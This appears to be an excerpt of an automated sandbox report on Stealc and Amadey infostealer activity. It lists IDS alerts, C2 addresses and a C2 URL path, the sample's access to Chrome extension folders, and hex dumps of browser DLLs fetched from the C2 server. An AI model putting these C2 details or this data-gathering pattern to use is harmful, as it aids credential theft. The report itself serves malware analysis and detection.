Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2691817996.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: fde0e4bc1c.exe, 0000001D.00000003.2925058901.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, fde0e4bc1c.exe, 0000001D.00000002.3058715203.00000000009F2000.00000040.00000001.01000000.0000000F.sdmp, fde0e4bc1c.exe, 0000001F.00000002.3151433581.00000000009F2000.00000040.00000001.01000000.0000000F.sdmp, fde0e4bc1c.exe, 0000001F.00000003.3111204074.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, fde0e4bc1c.exe, 00000020.00000002.3281564553.00000000009F2000.00000040.00000001.01000000.0000000F.sdmp, fde0e4bc1c.exe, 00000020.00000003.3241228364.0000000002B90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49709
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49709
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50112 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50115 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50118 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50116 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50121 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50123 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50249 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50113

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 09:37:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 09:37:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 09:37:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 09:37:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 09:37:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 09:37:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 